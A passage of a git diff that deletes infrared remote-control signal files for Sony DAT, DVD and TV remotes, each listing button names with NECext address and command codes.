00 00 -command: 20 00 00 00 -# -name: Varied -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 21 00 00 00 -# -name: PopM -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 22 00 00 00 -# -name: RockM -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 23 00 00 00 -# -name: MORM -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 24 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 25 00 00 00 -# -name: Classics -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 26 00 00 00 -# -name: OtherM -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 27 00 00 00 -# -name: MusicBalance -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 28 00 00 00 -# -name: SpeechBalance -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 29 00 00 00 -# -name: MonoMode -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 33 00 00 00 -# -name: FineTuningUp -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 34 00 00 00 -# -name: FineTuningDown -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 35 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 38 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 39 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 3A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 3B 00 00 00 -# -name: DisplayMode -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 4B 00 00 00 -# -name: BlockUp -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 4C 00 00 00 -# -name: BlockDown -type: parsed -protocol: NECext -address: 59 00 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir deleted file mode 100644 index 4f577bc51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 08 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 39 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 68 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 69 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir deleted file mode 100644 index 78d1a7bc1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NUMBER_1 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 00 00 00 00 -# -name: NUMBER_2 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 01 00 00 00 -# -name: NUMBER_3 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 02 00 00 00 -# -name: NUMBER_4 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 03 00 00 00 -# -name: NUMBER_5 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 04 00 00 00 -# -name: NUMBER_6 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 05 00 00 00 -# -name: NUMBER_7 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 06 00 00 00 -# -name: NUMBER_8 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 07 00 00 00 -# -name: NUMBER_9 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 08 00 00 00 -# -name: NUMBER_0 -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 15 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 1B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 1F 00 00 00 -# -name: SCAN_BACKWARD -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 22 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 23 00 00 00 -# -name: TIME_TEXT -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 2C 00 00 00 -# -name: SKIP_BACKWARD -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 30 00 00 00 -# -name: SKIP_FORWAD -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 32 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 54 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 65 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 79 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 7A 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 7B 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 1A 12 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir deleted file mode 100644 index 45cc0fed7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NUMBER_1 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 00 00 00 00 -# -name: NUMBER_2 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 01 00 00 00 -# -name: NUMBER_3 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 02 00 00 00 -# -name: NUMBER_4 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 03 00 00 00 -# -name: NUMBER_5 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 04 00 00 00 -# -name: NUMBER_6 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 05 00 00 00 -# -name: NUMBER_7 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 06 00 00 00 -# -name: NUMBER_8 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 07 00 00 00 -# -name: NUMBER_9 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 08 00 00 00 -# -name: NUMBER_0 -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 16 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1F 00 00 00 -# -name: SEARCH_BACKWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 20 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 21 00 00 00 -# -name: SCAN_BACKWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 22 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 23 00 00 00 -# -name: TIME_TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: TV_DVD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 51 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: DVE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 58 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 64 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 65 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir deleted file mode 100644 index 9c15a6042..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: normal -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir deleted file mode 100644 index 6fd6ba587..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PorgramUp -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: Off -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir deleted file mode 100644 index d1a09bcf1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: ch_guide -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: chDN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: muting -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: mts -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: jump -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 65 00 00 00 -# -name: auto_pgm -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 6B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir deleted file mode 100644 index c49b32fc2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: WAKE_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 74 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 75 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir deleted file mode 100644 index e2160aea9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: pgm -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 34 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir deleted file mode 100644 index ab71e22d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLEAR -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 11 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1D 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: >20 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: CHECK 